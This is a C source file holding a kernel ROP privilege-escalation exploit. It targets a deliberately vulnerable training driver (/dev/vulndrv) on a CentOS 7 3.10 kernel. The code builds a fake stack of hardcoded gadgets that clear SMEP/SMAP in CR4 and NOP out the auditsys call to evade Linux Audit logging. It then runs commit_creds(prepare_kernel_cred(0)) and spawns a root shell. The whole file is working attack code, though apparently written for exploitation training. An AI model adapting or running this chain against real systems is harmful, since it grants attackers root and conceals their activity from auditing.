/** * ROP exploit for drv.c kernel module * * Tested in: * Linux 3.10.0-327.28.3.el7.x86_64 - CentOS Linux release 7.2.1511 (Core) * qemu 2.5.0 / i7-4500U * * Compile: * gcc rop_exploit.c -O2 -o rop_exploit * * Email: andrey.arapov@nixaid.com * Andrey Arapov * * Based on Vitaly Nikolenko's work: * https://github.com/vnik5287/kernel_rop/ */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include "drv.h" #define DEVICE_PATH "/dev/vulndrv" unsigned long user_cs; unsigned long user_ss; unsigned long user_rflags; static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "pushfq\n" "popq %2\n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"); } void shell(void) { if(!getuid()) system("/bin/sh"); exit(0); } void usage(char *bin_name) { fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name); } int main(int argc, char *argv[]) { int fd; struct drv_req req; void *mapped, *temp_stack; unsigned long base_addr, stack_addr, mmap_addr, *fake_stack; if (argc != 3) { usage(argv[0]); return -1; } /* * req.offset * when xchg_esp_eax_ret_N_rop_gadget % 8 == 0, * req.offset = ( (1 << 64) + ((xchg_esp_eax_ret_N_rop_gadget - base_addr)/8) ) */ req.offset = strtoul(argv[1], NULL, 10); base_addr = strtoul(argv[2], NULL, 16); // address of ops driver structure printf("array base address = 0x%lx\n", base_addr); stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff; fprintf(stdout, "stack address = 0x%lx\n", stack_addr); /* * allocate space in memory where the fake_stack will be stored. */ mmap_addr = stack_addr & 0xffff0000; // clear last 4 hex's mapped = mmap((void*)mmap_addr, 0x20000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); assert(mapped == (void*)mmap_addr); temp_stack = mmap((void*)0x30000000, 0x10000000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); assert(temp_stack == (void*)0x30000000); save_state(); // this state will be used when returning back to user-space from kernel-space // fake_stack begins here fake_stack = (unsigned long *)(stack_addr); *fake_stack ++= 0xffffffff8107c2c4UL; /* pop %rdi; ret */ /* * In reality 0x14ff was 0x9d57: * $ grep 0x14ff $(uname -r).gadgets * 0xffffffff810e03d8 : xchg eax, esp ; ret 0x14ff * * $ sudo gdb /boot/vmlinuz-$(uname -r) /proc/kcore * (gdb) x/2i 0xffffffff810e03d8 * 0xffffffff810e03d8: xchg %eax,%esp * 0xffffffff810e03d9: retq $0x9d57 */ // Update fake_stack's pointer fake_stack = (unsigned long *)(stack_addr + 0x9d57 + 8); /* * Disable SMEP and SMAP (20 and 21st bit of CR4 respectively) * CR4 should be => $CR4 % 0x300000 * * $ cat 3.10.0-327.28.3.el7.x86_64.rop |grep -E ': pop rdi ; ret$|: mov cr4, rdi' * 0xffffffff8100328d : mov cr4, rdi ; pop rbp ; ret * 0xffffffff8107c2c4 : pop rdi ; ret * */ *fake_stack ++= 0x6f0UL; // disabled SMEP and SMAP *fake_stack ++= 0xffffffff8100328dUL; // (Intel) mov cr4, rdi ; pop rbp ; ret *fake_stack ++= 0xdeadbeefUL; // dummy /* * Circumvent Linux Audit system. * bypass syscall audit configuration without fully disabling Linux Audit system. * * /proc/kallsyms: * ffffffff81646c0f t auditsys * ffffffff8110b940 T __audit_syscall_entry * * $ objdump -D vmlinux |grep -A1 -B1 ffffffff81646c1e * ffffffff81646c1b: 48 89 c7 mov %rax,%rdi * ffffffff81646c1e: e8 1d 4d ac ff callq 0xffffffff8110b940 <-- auditsys+15 calls __audit_syscall_entry * ffffffff81646c23: 4c 8b 1c 24 mov (%rsp),%r11 */ *fake_stack ++= 0xffffffff81077cb7UL; // pop %rdx; ret *fake_stack ++= 0x9090909090909090UL; // rdx is: NOP (will be used to overwrite auditsys's callq __audit_syscall_entry) *fake_stack ++= 0xffffffff8107c2c4UL; // pop %rdi; ret *fake_stack ++= 0xffffffff81646c1eUL; // rdi is: auditsys+15 (0xffffffff81646c1e: callq 0xffffffff8110b940) *fake_stack ++= 0xffffffff812fc0a6UL; // mov qword ptr [rdi], rdx ; ret (overwrite) /* * To switch our process's owner to root, it is enough to execute: * commit_creds(prepare_kernel_cred(0)) syscalls * rdx(rax(0)) */ *fake_stack ++= 0xffffffff8107c2c4UL; // pop %rdi; ret *fake_stack ++= 0x0UL; // rdi is NULL *fake_stack ++= 0xffffffff810acc60UL; // prepare_kernel_cred() and $rax points to cred struct *fake_stack ++= 0xffffffff81077cb7UL; // pop %rdx; ret // *fake_stack ++= 0xffffffff810ac950UL; // commit_creds() *fake_stack ++= 0xffffffff810ac956UL; // commit_creds() + 2 instructions *fake_stack ++= 0xffffffff81016d77UL; // mov %rax, %rdi; call %rdx => calls commit_creds(prepare_kernel_cred(0)) // safely return to user-space from the kernel-space *fake_stack ++= 0xffffffff81058ef4UL; // swapgs ; pop rbp ; ret *fake_stack ++= 0xdeadbeefUL; // dummy placeholder *fake_stack ++= 0xffffffff81059856UL; // iretq *fake_stack ++= (unsigned long)shell; // spawn a shell *fake_stack ++= user_cs; // saved CS *fake_stack ++= user_rflags; // saved EFLAGS *fake_stack ++= (unsigned long)(temp_stack+0x5000000); // mmaped stack region in user space *fake_stack ++= user_ss; // saved SS fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) { perror("open"); } /* * trigger the vulnerable Linux kernel driver now, * pointing to our fake_stack */ ioctl(fd, 0, &req); return 0; } // vim: set list noexpandtab tabstop=4 shiftwidth=4 softtabstop=4